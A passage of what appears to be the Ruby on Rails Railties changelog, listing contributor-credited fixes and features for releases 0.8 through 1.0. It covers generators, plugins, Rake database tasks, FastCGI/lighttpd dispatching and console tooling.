[tom@craz8.com] - -* Fixed documentation tasks to work with Rake 0.7.0 #3563 [kazuhiko@fdiary.net] - -* Update to Prototype 1.5.0_pre0 [Sam Stephenson] - -* Sort the list of plugins so we load in a consistent order [Rick Olson] - -* Show usage when script/plugin is called without arguments [tom@craz8.com] - -* Corrected problems with plugin loader where plugins set 'name' incorrectly #3297 [anna@wota.jp] - -* Make migration generator only report on exact duplicate names, not partial dupliate names. #3442 [jeremy@planetargon.com Marcel Molina Jr.] - -* Fix typo in mailer generator USAGE. #3458 [chriztian.steinmeier@gmail.com] - -* Ignore version mismatch between pg_dump and the database server. #3457 [Simon Stapleton] - -* Reap FCGI processes after lighttpd exits. [Sam Stephenson] - -* Honor ActiveRecord::Base.pluralize_table_names when creating and destroying session store table. #3204. [rails@bencurtis.com, Marcel Molina Jr.] - -*1.0.0* (December 13th, 2005) - -* Update instructions on how to find and install generators. #3172. [Chad Fowler] - -* Generator looks in vendor/generators also. [Chad Fowler] - -* Generator copies files in binary mode. #3156 [minimudboy@gmail.com] - -* Add builtin/ to the gemspec. Closes #3047. [Nicholas Seckar, Sam Stephenson] - -* Add install.rb file to plugin generation which is loaded, if it exists, when you install a plugin. [Marcel Molina Jr.] - -* Run initialize_logger in script/lighttpd to ensure the log file exists before tailing it. [Sam Stephenson] - -* Make load_fixtures include csv fixtures. #3053. [me@mdaines.com] - -* Fix freeze_gems so that the latest rails version is dumped by default. [Nicholas Seckar] - -* script/plugin: handle root paths and plugin names which contain spaces. #2995 [justin@aspect.net] - -* Model generator: correct relative path to test_helper in unit test. [Jeremy Kemper] - -* Make the db_schema_dump task honor the SCHEMA environment variable if present the way db_schema_import does. #2931. [Blair Zajac] - -* Have the lighttpd server script report the actual ip to which the server is bound. #2903. [Adam] - -* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. [James Adam] - -* Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. [anonymous] - -* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database. #2964 [Dreamer3] - -* Introducing the session_migration generator. Creates an add_session_table migration. Allows generator to specify migrations directory. #2958, #2960 [Rick Olson] - -* script/console uses RAILS_ENV environment variable if present. #2932 [Blair Zajac <blair@orcaware.com> - -* Windows: eliminate the socket option in database.yml. #2924 [Wayne Vucenic <waynev@gmail.com>] - -* Eliminate nil from newly generated logfiles. #2927 [Blair Zajac <blair@orcaware.com>] - -* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.] - -* Eliminate Subversion dependencies in scripts/plugin. Correct install options. Introduce --force option to reinstall a plugin. Remove useless --long option for list. Use --quiet to quiet the download output and --revision to update to a specific svn revision. #2842 [Chad Fowler, Rick Olson] - -* SQLite: the clone_structure_to_test and purge_test_database Rake tasks should always use the test environment. #2846 [Rick Olson] - -* Make sure that legacy db tasks also reference :database for SQLite #2830 [kazuhiko@fdiary.net] - -* Pass __FILE__ when evaluating plugins' init.rb. #2817 [James Adam] - -* Better svn status matching for generators. #2814 [François Beausoleil <francois.beausoleil@gmail.com>, Blair Zajac <blair@orcaware.com>] - -* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities [David Heinemeier Hansson] - -* Don't detach or fork for script/server tailing [Nicholas Seckar] - -* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path for compatibility with web servers that don't have Ruby in path [David Heinemeier Hansson] - -* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [David Heinemeier Hansson] #2660 - -* Correct versioning in :freeze_gems Rake task. #2778 [Jakob Skjerning, Jeremy Kemper] - -* Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. [Sam Stephenson] - - -*0.14.3 (RC4)* (November 7th, 2005) - -* Add 'add_new_scripts' rake task for adding new rails scripts to script/* [Jamis Buck] - -* Remove bogus hyphen from script/process/reaper calls to 'ps'. #2767 [anonymous] - -* Copy lighttpd.conf when it is first needed, instead of on app creation [Jamis Buck] - -* Use require_library_or_gem 'fcgi' in script/server [Sam Stephenson] - -* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' [David Heinemeier Hansson] - -* New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins']. [Jeremy Kemper] - -* Plugins are discovered in nested paths, so you can organize your plugins directory as you like. [Jeremy Kemper] - -* Refactor load_plugin from load_plugins. #2757 [alex.r.moon@gmail.com] - -* Make use of silence_stderr in script/lighttpd, script/plugin, and Rails::Info [Sam Stephenson] - -* Enable HTTP installation of plugins when svn isn't avaialable. Closes #2661. [Chad Fowler] - -* Added script/about to display formatted Rails::Info output [Sam Stephenson] - -* Added Rails::Info to catalog assorted information about a Rails application's environment [Sam Stephenson] - -* Tail the logfile when running script/server lighttpd in the foreground [Sam Stephenson] - -* Try to guess the port number from config/lighttpd.conf in script/server lighttpd [Sam Stephenson] - -* Don't reap spawn-fcgi. #2727 [matthew@walker.wattle.id.au] - -* Reaper knows how to find processes even if the dispatch path is very long. #2711 [matthew@walker.wattle.id.au] - -* Make fcgi handler respond to TERM signals with an explicit exit [Jamis Buck] - -* Added demonstration of fixture use to the test case generated by the model generator [David Heinemeier Hansson] - -* If specified, pass PostgreSQL client character encoding to createdb. #2703 [Kazuhiko <kazuhiko@fdiary.net>] - -* Catch CGI multipart parse errors. Wrap dispatcher internals in a failsafe response handler. [Jeremy Kemper] - -* The freeze_gems Rake task accepts the VERSION environment variable to decide which version of Rails to pull into vendor/rails. [Chad Fowler, Jeremy Kemper] - -* Removed script.aculo.us.js, builder.js and slider.js (preperation for move of scriptaculous extensions to plugins, core scriptaculous will remain in Railties) [Thomas Fuchs] - -* The freeze_edge Rake task does smarter svn detection and can export a specific revision by passing the REVISION environment variable. For example: rake freeze_edge REVISION=1234. #2663 [Rick Olson] - -* Comment database.yml and include PostgreSQL and SQLite examples. [Jeremy Kemper] - -* Improve script/plugin on Windows. #2646 [Chad Fowler] - -* The *_plugindoc Rake tasks look deeper into the plugins' lib directories. #2652 [bellis@deepthought.org] - -* The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml. [Anatol Pomozov <anatol.pomozov@gmail.com>] - -* Add task to generate rdoc for all installed plugins. [Marcel Molina Jr.] - -* Update script.aculo.us to V1.5_rc4 [Thomas Fuchs] - -* Add default Mac + DarwinPorts MySQL socket locations to the app generator. [Jeremy Kemper] - -* Migrations may be destroyed: script/destroy migration foo. #2635 [Charles M. Gerungan <charles.gerungan@gmail.com>, Jamis Buck, Jeremy Kemper] - -* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator [David Heinemeier Hansson] - -* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service [David Heinemeier Hansson] - -* Added script/plugin to manage plugins (install, remove, list, etc) [Ryan Tomayko] - -* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) [David Heinemeier Hansson] - -* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) [David Heinemeier Hansson] - -* Fixed scaffold generator when started with only 1 parameter #2609 [self@mattmower.com] - -* rake should run functional tests even if the unit tests have failures [Jim Weirich] - -* Back off cleanpath to be symlink friendly. Closes #2533 [Nicholas Seckar] - -* Load rake task files in alphabetical order so you can build dependencies and count on them #2554 [Blair Zajac] - - -*0.14.2 (RC3)* (October 26th, 2005) - -* Constants set in the development/test/production environment file are set in Object - -* Scaffold generator pays attention to the controller name. #2562 [self@mattmower.com] - -* Include tasks from vendor/plugins/*/tasks in the Rakefile #2545 [Rick Olson] - - -*0.14.1 (RC2)* (October 19th, 2005) - -* Don't clean RAILS_ROOT on windows - -* Remove trailing '/' from RAILS_ROOT [Nicholas Seckar] - -* Upgraded to Active Record 1.12.1 and Action Pack 1.10.1 - - -*0.14.0 (RC1)* (October 16th, 2005) - -* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators [Tobias Lütke] - -* Fix rake dev and related commands [Nicholas Seckar] - -* The rails command tries to deduce your MySQL socket by running `mysql_config ---socket`. If it fails, default to /path/to/your/mysql.sock - -* Made the rails command use the application name for database names in the tailored database.yml file. Example: "rails ~/projects/blog" will use "blog_development" instead of "rails_development". [Florian Weber] - -* Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system) - -* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. [Tobias Lütke] - -* Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. [Nicholas Seckar] - -* Made the instantiated/transactional fixtures settings be controlled through Rails::Initializer. Transactional and non-instantiated fixtures are default from now on. [Florian Weber] - -* Support using different database adapters for development and test with ActiveRecord::Base.schema_format = :ruby [Sam Stephenson] - -* Make webrick work with session(:off) - -* Add --version, -v option to the Rails command. Closes #1840. [stancell] - -* Update Prototype to V1.4.0_pre11, script.aculo.us to V1.5_rc3 [2504] and fix the rails generator to include the new .js files [Thomas Fuchs] - -* Make the generator skip a file if it already exists and is identical to the new file. - -* Add experimental plugin support #2335 - -* Made Rakefile aware of new .js files in script.aculo.us [Thomas Fuchs] - -* Make table_name and controller_name in generators honor AR::Base.pluralize_table_names. #1216 #2213 [kazuhiko@fdiary.net] - -* Clearly label functional and unit tests in rake stats output. #2297 [lasse.koskela@gmail.com] - -* Make the migration generator only check files ending in *.rb when calculating the next file name #2317 [Chad Fowler] - -* Added prevention of duplicate migrations from the generator #2240 [François Beausoleil] - -* Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file). - -* Reformed all the config/environments/* files to conform to the new Rails::Configuration approach. Fully backwards compatible. - -* Added create_sessions_table, drop_sessions_table, and purge_sessions_table as rake tasks for databases that supports migrations (MySQL, PostgreSQL, SQLite) to get a table for use with CGI::Session::ActiveRecordStore - -* Added dump of schema version to the db_structure_dump task for databases that support migrations #1835 [Rick Olson] - -* Fixed script/profiler for Ruby 1.8.2 #1863 [Rick Olson] - -* Fixed clone_structure_to_test task for SQLite #1864 [jon@burningbush.us] - -* Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 [ask@develooper.com] - -* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 [Kevin Clark] - -* Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 [wejn@box.cz] - -* Make the default stats task extendable by modifying the STATS_DIRECTORIES constant - -* Allow the selected environment to define RAILS_DEFAULT_LOGGER, and have Rails::Initializer use it if it exists. - -* Moved all the shared tasks from Rakefile into Rails, so that the Rakefile is empty and doesn't require updating. - -* Added Rails::Initializer and Rails::Configuration to abstract all of the common setup out of config/environment.rb (uses config/boot.rb to bootstrap the initializer and paths) - -* Fixed the scaffold generator to fail right away if the database isn't accessible instead of in mid-air #1169 [Chad Fowler] - -* Corrected project-local generator location in scripts.rb #2010 [Michael Schuerig] - -* Don't require the environment just to clear the logs #2093 [Scott Barron] - -* Make the default rakefile read *.rake files from config/tasks (for easy extension of the rakefile by e.g. generators) - -* Only load breakpoint in development mode and when BREAKPOINT_SERVER_PORT is defined. - -* Allow the --toggle-spin switch on process/reaper to be negated - -* Replace render_partial with render :partial in scaffold generator [Nicholas Seckar] - -* Added -w flag to ps in process/reaper #1934 [Scott Barron] - -* Allow ERb in the database.yml file (just like with fixtures), so you can pull out the database configuration in environment variables #1822 [Duane Johnson] - -* Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help. - -* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 [Marcel Molina Jr.] - -* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 [Michael Schubert] - -* Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down). - - -*0.13.1* (11 July, 2005) - -* Look for app-specific generators in RAILS_ROOT/generators rather than the clunky old RAILS_ROOT/script/generators. Nobody really uses this feature except for the unit tests, so it's a negligible-impact change. If you want to work with third-party generators, drop them in ~/.rails/generators or simply install gems. - -* Fixed that each request with the WEBrick adapter would open a new database connection #1685 [Sam Stephenson] - -* Added support for SQL Server in the database rake tasks #1652 [Ken Barker] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set. - -* Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version - -* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 [court3nay] - -* Improved documentation for environment config files #1625 [court3nay] - - -*0.13.0* (6 July, 2005) - -* Changed the default logging level in config/environment.rb to INFO for production (so SQL statements won't be logged) - -* Added migration generator: ./script/generate migration add_system_settings - -* Added "migrate" as rake task to execute all the pending migrations from db/migrate - -* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 [Marcel Molina Jr.] - -* Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 [Michael Koziarski] - -* SIGTERM also gracefully exits dispatch.fcgi. Ignore SIGUSR1 on Windows. - -* Add the option to manually manage garbage collection in the FastCGI dispatcher. Set the number of requests between GC runs in your public/dispatch.fcgi [Stefan Kaes] - -* Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them. - -* RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush) - -* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 [Michael Schubert] - -* ActionMailer::Base subclasses are reloaded with the other rails components #1262 - -* Made the WEBrick adapter not use a mutex around action performance if ActionController::Base.allow_concurrency is true (default is false) - -* Fixed that mailer generator generated fixtures/plural while units expected fixtures/singular #1457 [Scott Barron] - -* Added a 'whiny nil' that's aim to ensure that when users pass nil to methods where that isn't appropriate, instead of NoMethodError? and the name of some method used by the framework users will see a message explaining what type of object was expected. Only active in test and development environments by default #1209 [Michael Koziarski] - -* Fixed the test_helper.rb to be safe for requiring controllers from multiple spots, like app/controllers/article_controller.rb and app/controllers/admin/article_controller.rb, without reloading the environment twice #1390 [Nicholas Seckar] - -* Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 [Nicholas Seckar] - -* Added -e/--environment option to script/runner #1408 [François Beausoleil] - -* Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id]. #1367 - -* Added graceful exit from pressing CTRL-C during the run of the rails command #1150 [Caleb Tennis] - -* Allow graceful exits for dispatch.fcgi processes by sending a SIGUSR1. If the process is currently handling a request, the request will be allowed to complete and then will terminate itself. If a request is not being handled, the process is terminated immediately (via #exit). This basically works like restart graceful on Apache. [Jamis Buck] - -* Made dispatch.fcgi more robust by catching fluke errors and retrying unless its a permanent condition. [Jamis Buck] - -* Added console --profile for profiling an IRB session #1154 [Jeremy Kemper] - -* Changed console_sandbox into console --sandbox #1154 [Jeremy Kemper] - - -*0.12.1* (20th April, 2005) - -* Upgraded to Active Record 1.10.1, Action Pack 1.8.1, Action Mailer 0.9.1, Action Web Service 0.7.1 - - -*0.12.0* (19th April, 2005) - -* Fixed that purge_test_database would use database settings from the development environment when recreating the test database #1122 [rails@cogentdude.com] - -* Added script/benchmarker to easily benchmark one or more statement a number of times from within the environment. Examples: - - # runs the one statement 10 times - script/benchmarker 10 'Person.expensive_method(10)' - - # pits the two statements against each other with 50 runs each - script/benchmarker 50 'Person.expensive_method(10)' 'Person.cheap_method(10)' - -* Added script/profiler to easily profile a single statement from within the environment. Examples: - - script/profiler 'Person.expensive_method(10)' - script/profiler 'Person.expensive_method(10)' 10 # runs the statement 10 times - -* Added Rake target clear_logs that'll truncate all the *.log files in log/ to zero #1079 [Lucas Carlson] - -* Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 [k@v2studio.com] - -* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 [pburleson] - -* Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4 - - -*0.11.1* (27th March, 2005) - -* Fixed the dispatch.fcgi use of a logger - -* Upgraded to Active Record 1.9.1, Action Pack 1.7.0, Action Mailer 0.8.1, Action Web Service 0.6.2, Active Support 1.0.3 - - -*0.11.0* (22th March, 2005) - -* Removed SCRIPT_NAME from the WEBrick environment to prevent conflicts with PATH_INFO #896 [Nicholas Seckar] - -* Removed ?$1 from the dispatch.f/cgi redirect line to get rid of 'complete/path/from/request.html' => nil being in the @params now that the ENV["REQUEST_URI"] is used to determine the path #895 [dblack/Nicholas Seckar] - -* Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process - -* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 [Tobias Lütke] - -* Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 [Nicholas Seckar] - -* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Lütke] - -* Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples: - - ./script/runner 'ReminderService.deliver' - ./script/runner 'Mailer.receive(STDIN.read)' - - This makes it easier to do CRON and postfix scripts without actually making a script just to trigger 1 line of code. - -* Fixed webrick_server cookie handling to allow multiple cookes to be set at once #800, #813 [dave@cherryville.org] - -* Fixed the Rakefile's interaction with postgresql to: - - 1. Use PGPASSWORD and PGHOST in the environment to fix prompting for - passwords when connecting to a remote db and local socket connections. - 2. Add a '-x' flag to pg_dump which stops it dumping privileges #807 [rasputnik] - 3. Quote the user name and use template0 when dumping so the functions doesn't get dumped too #855 [pburleson] - 4. Use the port if available #875 [madrobby] - -* Upgraded to Active Record 1.9.0, Action Pack 1.6.0, Action Mailer 0.8.0, Action Web Service 0.6.1, Active Support 1.0.2 - - -*0.10.1* (7th March, 2005) - -* Fixed rake stats to ignore editor backup files like model.rb~ #791 [Sebastian Kanthak] - -* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 [Tobias Lütke] - -* Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence) - -* Fixed that scaffold generator new template should use local variable instead of instance variable #778 [Dan Peterson] - -* Allow unit tests to run on a remote server for PostgreSQL #781 [adamm@galacticasoftware.com] - -* Added web_service generator (run ./script/generate web_service for help) #776 [Leon Bredt] - -* Added app/apis and components to code statistics report #729 [Scott Barron] - -* Fixed WEBrick server to use ABSOLUTE_RAILS_ROOT instead of working_directory #687 [Nicholas Seckar] - -* Fixed rails_generator to be usable without RubyGems #686 [Cristi BALAN] - -* Fixed -h/--help for generate and destroy generators #331 - -* Added begin/rescue around the FCGI dispatcher so no uncaught exceptions can bubble up to kill the process (logs to log/fastcgi.crash.log) - -* Fixed that association#count would produce invalid sql when called sequentialy #659 [kanis@comcard.de] - -* Fixed test/mocks/testing to the correct test/mocks/test #740 - -* Added early failure if the Ruby version isn't 1.8.2 or above #735 - -* Removed the obsolete -i/--index option from the WEBrick servlet #743 - -* Upgraded to Active Record 1.8.0, Action Pack 1.5.1, Action Mailer 0.7.1, Action Web Service 0.6.0, Active Support 1.0.1 - - -*0.10.0* (24th February, 2005) - -* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 [Marcel Molina Jr.] - -* Fixed that script/server -d was broken so daemon mode couldn't be used #687 [Nicholas Seckar] - -* Upgraded to breakpoint 92 which fixes: - - * overload IRB.parse_opts(), fixes #443 - => breakpoints in tests work even when running them via rake - * untaint handlers, might fix an issue discussed on the Rails ML - * added verbose mode to breakpoint_client - * less noise caused by breakpoint_client by default - * ignored TerminateLineInput exception in signal handler - => quiet exit on Ctrl-C - -* Added support for independent components residing in /components. Example: - - Controller: components/list/items_controller.rb - (holds a List::ItemsController class with uses_component_template_root called) - - Model : components/list/item.rb - (namespace is still shared, so an Item model in app/models will take precedence) - - Views : components/list/items/show.rhtml - - -* Added --sandbox option to script/console that'll roll back all changes made to the database when you quit #672 [Jeremy Kemper] - -* Added 'recent' as a rake target that'll run tests for files that changed in the last 10 minutes #612 [Jeremy Kemper] - -* Changed script/console to default to development environment and drop --no-inspect #650 [Jeremy Kemper] - -* Added that the 'fixture :posts' syntax can be used for has_and_belongs_to_many fixtures where a model doesn't exist #572 [Jeremy Kemper] - -* Added that running test_units and test_functional now performs the clone_structure_to_test as well #566 [rasputnik] - -* Added new generator framework that informs about its doings on generation and enables updating and destruction of generated artifacts. See the new script/destroy and script/update for more details #487 [Jeremy Kemper] - -* Added Action Web Service as a new add-on framework for Action Pack [Leon Bredt] - -* Added Active Support as an independent utility and standard library extension bundle - -* Upgraded to Active Record 1.7.0, Action Pack 1.5.0, Action Mailer 0.7.0 - - -*0.9.5* (January 25th, 2005) - -* Fixed dependency reloading by switching to a remove_const approach where all Active Records, Active Record Observers, and Action Controllers are reloading by undefining their classes. This enables you to remove methods in all three types and see the change reflected immediately and it fixes #539. This also means that only those three types of classes will benefit from the const_missing and reloading approach. If you want other classes (like some in lib/) to reload, you must use require_dependency to do it. - -* Added Florian Gross' latest version of Breakpointer and friends that fixes a variaty of bugs #441 [Florian Gross] - -* Fixed skeleton Rakefile to work with sqlite3 out of the box #521 [rasputnik] - -* Fixed that script/breakpointer didn't get the Ruby path rewritten as the other scripts #523 [brandt@kurowski.net] - -* Fixed handling of syntax errors in models that had already been succesfully required once in the current interpreter - -* Fixed that models that weren't referenced in associations weren't being reloaded in the development mode by reinstating the reload - -* Fixed that generate scaffold would produce bad functional tests - -* Fixed that FCGI can also display SyntaxErrors - -* Upgraded to Active Record 1.6.0, Action Pack 1.4.0 - - -*0.9.4.1* (January 18th, 2005) - -* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 [Marcel Molina Jr.] - -* Fixed binding of caller #496 [Alexey] - -* Upgraded to Active Record 1.5.1, Action Pack 1.3.1, Action Mailer 0.6.1 - - -*0.9.4* (January 17th, 2005) - -* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller [Tobias Lütke] - -* Flipped code-to-test ratio around to be more readable #468 [Scott Baron] - -* Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 [Lucas Carlson] - -* Fixed that auto reloading would some times not work or would reload the models twice #475 [Tobias Lütke] - -* Added rewrite rules to deal with caching to public/.htaccess - -* Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model. - -* Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from - RAILS_ENV instead of just forcing development #424 [Tobias Lütke] - -* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 [Chris McGrath] - -* Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby - -* Removed Fancy Indexing as a default option on the WEBrick servlet as it made it harder to use various caching schemes - -* Upgraded to Active Record 1.5, Action Pack 1.3, Action Mailer 0.6 - - -*0.9.3* (January 4th, 2005) - -* Added support for SQLite in the auto-dumping/importing of schemas for development -> test #416 - -* Added automated rewriting of the shebang lines on installs through the gem rails command #379 [Manfred Stienstra] - -* Added ActionMailer::Base.deliver_method = :test to the test environment so that mail objects are available in ActionMailer::Base.deliveries - for functional testing. - -* Added protection for creating a model through the generators with a name of an existing class, like Thread or Date. - It'll even offer you a synonym using wordnet.princeton.edu as a look-up. No, I'm not kidding :) [Florian Gross] - -* Fixed dependency management to happen in a unified fashion for Active Record and Action Pack using the new Dependencies module. This means that - the environment options needs to change from: - - Before in development.rb: - ActionController::Base.reload_dependencies = true  - ActiveRecord::Base.reload_associations   = true - - Now in development.rb: - Dependencies.mechanism = :load - - Before in production.rb and test.rb: - ActionController::Base.reload_dependencies = false - ActiveRecord::Base.reload_associations   = false - - Now in production.rb and test.rb: - Dependencies.mechanism = :require - -* Fixed problems with dependency caching and controller hierarchies on Ruby 1.8.2 in development mode #351 - -* Fixed that generated action_mailers doesnt need to require the action_mailer since thats already done in the environment #382 [Lucas Carlson] - -* Upgraded to Action Pack 1.2.0 and Active Record 1.4.0 - - -*0.9.2* - -* Fixed CTRL-C exists from the Breakpointer to be a clean affair without error dumping [Kent Sibilev] - -* Fixed "rake stats" to work with sub-directories in models and controllers and to report the code to test ration [Scott Baron] - -* Added that Active Record associations are now reloaded instead of cleared to work with the new const_missing hook in Active Record. - -* Added graceful handling of an inaccessible log file by redirecting output to STDERR with a warning #330 [rainmkr] - -* Added support for a -h/--help parameter in the generator #331 [Ulysses] - -* Fixed that File.expand_path in config/environment.rb would fail when dealing with symlinked public directories [mjobin] - -* Upgraded to Action Pack 1.1.0 and Active Record 1.3.0 - - -*0.9.1* - -* Upgraded to Action Pack 1.0.1 for important bug fix - -* Updated gem dependencies - - -*0.9.0* - -* Renamed public/dispatch.servlet to script/server -- it wasn't really dispatching anyway as its delegating calls to public/dispatch.rb - -* Renamed AbstractApplicationController and abstract_application.rb to ApplicationController and application.rb, so that it will be possible - for the framework to automatically pick up on app/views/layouts/application.rhtml and app/helpers/application.rb - -* Added script/console that makes it even easier to start an IRB session for interacting with the domain model. Run with no-args to - see help. - -* Added breakpoint support through the script/breakpointer client. This means that you can break out of execution at any point in - the code, investigate and change the model, AND then resume execution! Example: - - class WeblogController < ActionController::Base - def index - @posts = Post.find_all - breakpoint "Breaking out from the list" - end - end - - So the controller will accept the action, run the first line, then present you with a IRB prompt in the breakpointer window. - Here you can do things like: - - Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint' - - >> @posts.inspect - => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>, - #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]" - >> @posts.first.title = "hello from a breakpoint" - => "hello from a breakpoint" - - ...and even better is that you can examine how your runtime objects actually work: - - >> f = @posts.first - => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}> - >> f. - Display all 152 possibilities? (y or n) - - Finally, when you're ready to resume execution, you press CTRL-D - -* Changed environments to be configurable through an environment variable. By default, the environment is "development", but you - can change that and set your own by configuring the Apache vhost with a string like (mod_env must be available on the server): - - SetEnv RAILS_ENV production - - ...if you're using WEBrick, you can pick the environment to use with the command-line parameters -e/--environment, like this: - - ruby public/dispatcher.servlet -e production - -* Added a new default environment called "development", which leaves the production environment to be tuned exclusively for that. - -* Added a start_server in the root of the Rails application to make it even easier to get started - -* Fixed public/.htaccess to use RewriteBase and share the same rewrite rules for all the dispatch methods - -* Fixed webrick_server to handle requests in a serialized manner (the Rails reloading infrastructure is not thread-safe) - -* Added support for controllers in directories. So you can have: - - app/controllers/account_controller.rb # URL: /account/ - app/controllers/admin/account_controller.rb # URL: /admin/account/ - - NOTE: You need to update your public/.htaccess with the new rules to pick it up - -* Added reloading for associations and dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use - those environments for development. This is turned on by default, but can be turned off with - ActiveRecord::Base.reload_associations = false and ActionController::Base.reload_dependencies = false in production environments. - -* Added support for sub-directories in app/models. So now you can have something like Basecamp with: - - app/models/accounting - app/models/project - app/models/participants - app/models/settings - - It's poor man's namespacing, but only for file-system organization. You still require files just like before. - Nothing changes inside the files themselves. - - -* Fixed a few references in the tests generated by new_mailer [Jeremy Kemper] - -* Added support for mocks in testing with test/mocks - -* Cleaned up the environments a bit and added global constant RAILS_ROOT - - -*0.8.5* (9) - -* Made dev-util available to all tests, so you can insert breakpoints in any test case to get an IRB prompt at that point [Jeremy Kemper]: - - def test_complex_stuff - @david.projects << @new_project - breakpoint "Let's have a closer look at @david" - end - - You need to install dev-utils yourself for this to work ("gem install dev-util"). - -* Added shared generator behavior so future upgrades should be possible without manually copying over files [Jeremy Kemper] - -* Added the new helper style to both controller and helper templates [Jeremy Kemper] - -* Added new_crud generator for creating a model and controller at the same time with explicit scaffolding [Jeremy Kemper] - -* Added configuration of Test::Unit::TestCase.fixture_path to test_helper to concide with the new AR fixtures style - -* Fixed that new_model was generating singular table/fixture names - -* Upgraded to Action Mailer 0.4.0 - -* Upgraded to Action Pack 0.9.5 - -* Upgraded to Active Record 1.1.0 - - -*0.8.0 (15)* - -* Removed custom_table_name option for new_model now that the Inflector is as powerful as it is - -* Changed the default rake action to just do testing and separate API generation and coding statistics into a "doc" task. - -* Fixed WEBrick dispatcher to handle missing slashes in the URLs gracefully [alexey] - -* Added user option for all postgresql tool calls in the rakefile [elvstone] - -* Fixed problem with running "ruby public/dispatch.servlet" instead of "cd public; ruby dispatch.servlet" [alexey] - -* Fixed WEBrick server so that it no longer hardcodes the ruby interpreter used to "ruby" but will get the one used based - on the Ruby runtime configuration. [Marcel Molina Jr.] - -* Fixed Dispatcher so it'll route requests to magic_beans to 